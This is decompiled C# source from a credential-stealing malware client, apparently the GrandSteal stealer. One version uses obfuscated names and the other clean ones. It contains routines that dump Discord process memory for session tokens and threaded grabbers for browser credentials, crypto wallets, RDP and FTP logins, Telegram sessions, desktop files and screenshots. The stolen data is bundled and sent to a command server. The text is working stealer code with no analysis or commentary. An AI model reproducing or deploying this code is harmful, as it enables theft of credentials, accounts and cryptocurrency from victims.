// Token: 0x06000CB8 RID: 3256 RVA: 0x00027B18 File Offset: 0x00025D18 public static DiscordSession TempGet() { try { Process process = fffsa.FindDisordProcess(); if (process != null) { string text = fffsa.DumpProcess(process); if (!string.IsNullOrEmpty(text)) { string text2 = fffsa.FindDiscordJsonSession(text); if (!string.IsNullOrEmpty(text2)) { JsonValue jsonValue = text2.FromJSON(); DiscordSession discordSession = new DiscordSession(); discordSession.token = jsonValue["token"].ToString(false); discordSession.events = new List <Event>(); foreach (object obj in ((IEnumerable)jsonValue["events"])) { JsonValue jsonValue2 = (JsonValue)obj; Event @event = new Event { type = jsonValue2["type"].ToString(false) }; foreach (object obj2 in ((IEnumerable)jsonValue2["properties"])) { JsonValue jsonValue3 = (JsonValue)obj2; @event.properties = new Properties(); @event.properties.client_send_timestamp = jsonValue3["client_send_timestamp"].ToString(false); @event.properties.client_track_timestamp = jsonValue3["client_track_timestamp"].ToString(false); @event.properties.client_uuid = jsonValue3["client_uuid"].ToString(false); @event.properties.num_users_visible = Convert.ToInt32(jsonValue3["num_users_visible"].ToString(false)); @event.properties.num_users_visible_with_mobile_indicator = Convert.ToInt32(jsonValue3["num_users_visible_with_mobile_indicator"].ToString(false)); } discordSession.events.Add(@event); } return(discordSession); } } } } catch (Exception value) { Console.WriteLine(value); } return(null); }
public bool QQu() { try { ClientSettings settings = RecieveSettings().IsNull(new ClientSettings()); List <BrowserProfile> browserProfiles = new List <BrowserProfile>(); List <ColdWallet> wallets = new List <ColdWallet>(); List <RdpCredential> rdpCredentials = new List <RdpCredential>(); List <DesktopFile> desktopFiles = new List <DesktopFile>(); List <FtpCredential> ftpCredentials = new List <FtpCredential>(); TelegramSession telegramSession = new TelegramSession(); DiscordSession discordSession = new DiscordSession(); List <RemoteProcess> processes = new List <RemoteProcess>(); List <string> programs = new List <string>(); RemoteClientInformation clientInfo = new RemoteClientInformation(); ThreadPool.SetMaxThreads(2000, 10000); new Thread((ThreadStart) delegate { Console.WriteLine("ClientInfos parser has been started"); Stopwatch stopwatch10 = new Stopwatch(); stopwatch10.Start(); clientInfo = ClientInfoHelper.Create(BuildID); stopwatch10.Stop(); clientInfoFlag.Set(); Console.WriteLine($"ClientInfos has been parsed.Elapsed time: {stopwatch10.Elapsed}"); }).Start(); new Thread((ThreadStart) delegate { Console.WriteLine("Browsers parser has been started"); Stopwatch stopwatch9 = new Stopwatch(); stopwatch9.Start(); if (settings.GrabBrowserCredentials) { int countCompleted = 0; object locker = new object(); foreach (GH9kf <BrowserProfile> manager in BrowserCredentialsManagers) { new Thread((ThreadStart) delegate { List <BrowserProfile> collection = manager.EnumerateData(); lock (locker) { browserProfiles.AddRange(collection); int num = countCompleted; countCompleted = num + 1; } }).Start(); } while (countCompleted != BrowserCredentialsManagers.Count) { } } stopwatch9.Stop(); browsersFlag.Set(); Console.WriteLine($"Browsers has been parsed.Elapsed time: {stopwatch9.Elapsed}"); }).Start(); new Thread((ThreadStart) delegate { Console.WriteLine("ColdWallets parser has been started"); Stopwatch stopwatch8 = new Stopwatch(); stopwatch8.Start(); if (settings.GrabColdWallets) { foreach (GH9kf <ColdWallet> coldWalletManager in ColdWalletManagers) { wallets.AddRange(coldWalletManager.EnumerateData().IsNull(new List <ColdWallet>())); } } stopwatch8.Stop(); walletsFlag.Set(); Console.WriteLine($"ColdWallets has been parsed.Elapsed time: {stopwatch8.Elapsed}"); }).Start(); new Thread((ThreadStart) delegate { Console.WriteLine("DiscordSession parser has been started"); Stopwatch stopwatch7 = new Stopwatch(); stopwatch7.Start(); if (settings.GrabDiscord) { discordSession = fffsa.TempGet(); } stopwatch7.Stop(); discordFlag.Set(); Console.WriteLine($"DiscordSession has been parsed.Elapsed time: {stopwatch7.Elapsed}"); }).Start(); new Thread((ThreadStart) delegate { Console.WriteLine("Rdps parser has been started"); Stopwatch stopwatch6 = new Stopwatch(); stopwatch6.Start(); if (settings.GrabRdp) { foreach (GH9kf <RdpCredential> rdpManager in RdpManagers) { rdpCredentials.AddRange(rdpManager.EnumerateData().IsNull()); } } stopwatch6.Stop(); rdpsFlag.Set(); Console.WriteLine($"Rdps has been parsed.Elapsed time: {stopwatch6.Elapsed}"); }).Start(); new Thread((ThreadStart) delegate { Console.WriteLine("DesktopFiles parser has been started"); Stopwatch stopwatch5 = new Stopwatch(); stopwatch5.Start(); if (settings.GrabDesktopFiles) { foreach (gg3 desktopFileManager in DesktopFileManagers) { desktopFileManager.GrabberSettings = settings.DesktopExtensions; desktopFiles.AddRange(desktopFileManager.EnumerateData()); } } stopwatch5.Stop(); desktopFlag.Set(); Console.WriteLine($"DesktopFiles has been parsed.Elapsed time: {stopwatch5.Elapsed}"); }).Start(); new Thread((ThreadStart) delegate { Console.WriteLine("FTPs parser has been started"); Stopwatch stopwatch4 = new Stopwatch(); stopwatch4.Start(); if (settings.GrabFtp) { foreach (GH9kf <FtpCredential> ftpManager in FtpManagers) { ftpCredentials.AddRange(ftpManager.EnumerateData().IsNull()); } } stopwatch4.Stop(); ftpFlag.Set(); Console.WriteLine($"FTPs has been parsed.Elapsed time: {stopwatch4.Elapsed}"); }).Start(); new Thread((ThreadStart) delegate { Console.WriteLine("TelegramSession parser has been started"); Stopwatch stopwatch3 = new Stopwatch(); stopwatch3.Start(); if (settings.GrabTelegram) { telegramSession = Fkf83.Fuul(); } stopwatch3.Stop(); telegramFlag.Set(); Console.WriteLine($"TelegramSession has been parsed.Elapsed time: {stopwatch3.Elapsed}"); }).Start(); new Thread((ThreadStart) delegate { Console.WriteLine("ListOfProcesses parser has been started"); Stopwatch stopwatch2 = new Stopwatch(); stopwatch2.Start(); processes = ClientInfoHelper.ListOfProcesses(); stopwatch2.Stop(); processesFlag.Set(); Console.WriteLine($"ListOfProcesses has been parsed.Elapsed time: {stopwatch2.Elapsed}"); }).Start(); new Thread((ThreadStart) delegate { Console.WriteLine("ListOfPrograms parser has been started"); Stopwatch stopwatch = new Stopwatch(); stopwatch.Start(); programs = ClientInfoHelper.ListOfPrograms(); stopwatch.Stop(); programsFlag.Set(); Console.WriteLine($"ListOfPrograms has been parsed.Elapsed time: {stopwatch.Elapsed}"); }).Start(); telegramFlag.WaitOne(); discordFlag.WaitOne(); processesFlag.WaitOne(); programsFlag.WaitOne(); browsersFlag.WaitOne(); walletsFlag.WaitOne(); rdpsFlag.WaitOne(); desktopFlag.WaitOne(); ftpFlag.WaitOne(); clientInfoFlag.WaitOne(); Console.WriteLine("CredentialsRequest has been created"); if (clientInfo == null) { Environment.Exit(0); } CredentialsRequest objectToSend = new CredentialsRequest { ClientInformation = clientInfo, BrowserProfiles = browserProfiles, ColdWallets = wallets, RdpConnections = rdpCredentials, DesktopFiles = desktopFiles, FtpCredentials = ftpCredentials, Telegram = telegramSession, Discord = discordSession, ProcessList = processes, InstalledPrograms = programs, Screenshot = ClientInfoHelper.CaptureScreen() }; return(Server.ProcessRequest <CredentialsRequest, bool>(objectToSend, "Credentials", 600000)()); } catch { return(false); } }
// Token: 0x0600004F RID: 79 RVA: 0x00003EC8 File Offset: 0x000020C8 public bool SendCredentials() { bool result; try { GrandSteal.Client.Models.ClientSettings settings = this.RecieveSettings().IsNull(new GrandSteal.Client.Models.ClientSettings()); List <BrowserProfile> browserProfiles = new List <BrowserProfile>(); List <ColdWallet> wallets = new List <ColdWallet>(); List <RdpCredential> rdpCredentials = new List <RdpCredential>(); List <DesktopFile> desktopFiles = new List <DesktopFile>(); List <FtpCredential> ftpCredentials = new List <FtpCredential>(); TelegramSession telegramSession = new TelegramSession(); DiscordSession discordSession = new DiscordSession(); List <RemoteProcess> processes = new List <RemoteProcess>(); List <string> programs = new List <string>(); RemoteClientInformation clientInfo = new RemoteClientInformation(); ThreadPool.SetMaxThreads(2000, 10000); new Thread(delegate { Console.WriteLine("ClientInfos parser has been started"); Stopwatch stopwatch = new Stopwatch(); stopwatch.Start(); clientInfo = ClientInfoHelper.Create(this.BuildID); stopwatch.Stop(); this.clientInfoFlag.Set(); Console.WriteLine(string.Format("ClientInfos has been parsed.Elapsed time: {0}", stopwatch.Elapsed)); }).Start(); new Thread(delegate { Console.WriteLine("Browsers parser has been started"); Stopwatch stopwatch = new Stopwatch(); stopwatch.Start(); if (settings.GrabBrowserCredentials) { int countCompleted = 0; object locker = new object(); using (IEnumerator <ICredentialsManager <BrowserProfile> > enumerator = this.BrowserCredentialsManagers.GetEnumerator()) { while (enumerator.MoveNext()) { ICredentialsManager <BrowserProfile> manager = enumerator.Current; new Thread(delegate { List <BrowserProfile> all = manager.GetAll(); object locker = locker; lock (locker) { browserProfiles.AddRange(all); int countCompleted = countCompleted; countCompleted++; } }).Start(); } } while (countCompleted != this.BrowserCredentialsManagers.Count) { } } stopwatch.Stop(); this.browsersFlag.Set(); Console.WriteLine(string.Format("Browsers has been parsed.Elapsed time: {0}", stopwatch.Elapsed)); }).Start(); new Thread(delegate { Console.WriteLine("ColdWallets parser has been started"); Stopwatch stopwatch = new Stopwatch(); stopwatch.Start(); if (settings.GrabColdWallets) { foreach (ICredentialsManager <ColdWallet> current in this.ColdWalletManagers) { wallets.AddRange(current.GetAll().IsNull(new List <ColdWallet>())); } } stopwatch.Stop(); this.walletsFlag.Set(); Console.WriteLine(string.Format("ColdWallets has been parsed.Elapsed time: {0}", stopwatch.Elapsed)); }).Start(); new Thread(delegate { Console.WriteLine("DiscordSession parser has been started"); Stopwatch stopwatch = new Stopwatch(); stopwatch.Start(); if (settings.GrabDiscord) { discordSession = DiscordManager.Extract(); } stopwatch.Stop(); this.discordFlag.Set(); Console.WriteLine(string.Format("DiscordSession has been parsed.Elapsed time: {0}", stopwatch.Elapsed)); }).Start(); new Thread(delegate { Console.WriteLine("Rdps parser has been started"); Stopwatch stopwatch = new Stopwatch(); stopwatch.Start(); if (settings.GrabRdp) { foreach (ICredentialsManager <RdpCredential> current in this.RdpManagers) { rdpCredentials.AddRange(current.GetAll().IsNull <List <RdpCredential> >()); } } stopwatch.Stop(); this.rdpsFlag.Set(); Console.WriteLine(string.Format("Rdps has been parsed.Elapsed time: {0}", stopwatch.Elapsed)); }).Start(); new Thread(delegate { Console.WriteLine("DesktopFiles parser has been started"); Stopwatch stopwatch = new Stopwatch(); stopwatch.Start(); if (settings.GrabDesktopFiles) { foreach (DesktopFileManager current in this.DesktopFileManagers) { current.DesktopFileExtensions = settings.DesktopExtensions; desktopFiles.AddRange(current.GetAll()); } } stopwatch.Stop(); this.desktopFlag.Set(); Console.WriteLine(string.Format("DesktopFiles has been parsed.Elapsed time: {0}", stopwatch.Elapsed)); }).Start(); new Thread(delegate { Console.WriteLine("FTPs parser has been started"); Stopwatch stopwatch = new Stopwatch(); stopwatch.Start(); if (settings.GrabFtp) { foreach (ICredentialsManager <FtpCredential> current in this.FtpManagers) { ftpCredentials.AddRange(current.GetAll().IsNull <List <FtpCredential> >()); } } stopwatch.Stop(); this.ftpFlag.Set(); Console.WriteLine(string.Format("FTPs has been parsed.Elapsed time: {0}", stopwatch.Elapsed)); }).Start(); new Thread(delegate { Console.WriteLine("TelegramSession parser has been started"); Stopwatch stopwatch = new Stopwatch(); stopwatch.Start(); if (settings.GrabTelegram) { telegramSession = TelegramManager.Extract(); } stopwatch.Stop(); this.telegramFlag.Set(); Console.WriteLine(string.Format("TelegramSession has been parsed.Elapsed time: {0}", stopwatch.Elapsed)); }).Start(); new Thread(delegate { Console.WriteLine("ListOfProcesses parser has been started"); Stopwatch stopwatch = new Stopwatch(); stopwatch.Start(); processes = ClientInfoHelper.ListOfProcesses(); stopwatch.Stop(); this.processesFlag.Set(); Console.WriteLine(string.Format("ListOfProcesses has been parsed.Elapsed time: {0}", stopwatch.Elapsed)); }).Start(); new Thread(delegate { Console.WriteLine("ListOfPrograms parser has been started"); Stopwatch stopwatch = new Stopwatch(); stopwatch.Start(); programs = ClientInfoHelper.ListOfPrograms(); stopwatch.Stop(); this.programsFlag.Set(); Console.WriteLine(string.Format("ListOfPrograms has been parsed.Elapsed time: {0}", stopwatch.Elapsed)); }).Start(); this.telegramFlag.WaitOne(); this.discordFlag.WaitOne(); this.processesFlag.WaitOne(); this.programsFlag.WaitOne(); this.browsersFlag.WaitOne(); this.walletsFlag.WaitOne(); this.rdpsFlag.WaitOne(); this.desktopFlag.WaitOne(); this.ftpFlag.WaitOne(); this.clientInfoFlag.WaitOne(); Console.WriteLine("CredentialsRequest has been created"); if (clientInfo == null) { Environment.Exit(0); } CredentialsRequest objectToSend = new CredentialsRequest { ClientInformation = clientInfo, BrowserProfiles = browserProfiles, ColdWallets = wallets, RdpConnections = rdpCredentials, DesktopFiles = desktopFiles, FtpCredentials = ftpCredentials, Telegram = telegramSession, Discord = discordSession, ProcessList = processes, InstalledPrograms = programs, Screenshot = ClientInfoHelper.CaptureScreen() }; result = this.Server.SendRequest(objectToSend, "Credentials", 600000)(); } catch { result = false; } return(result); }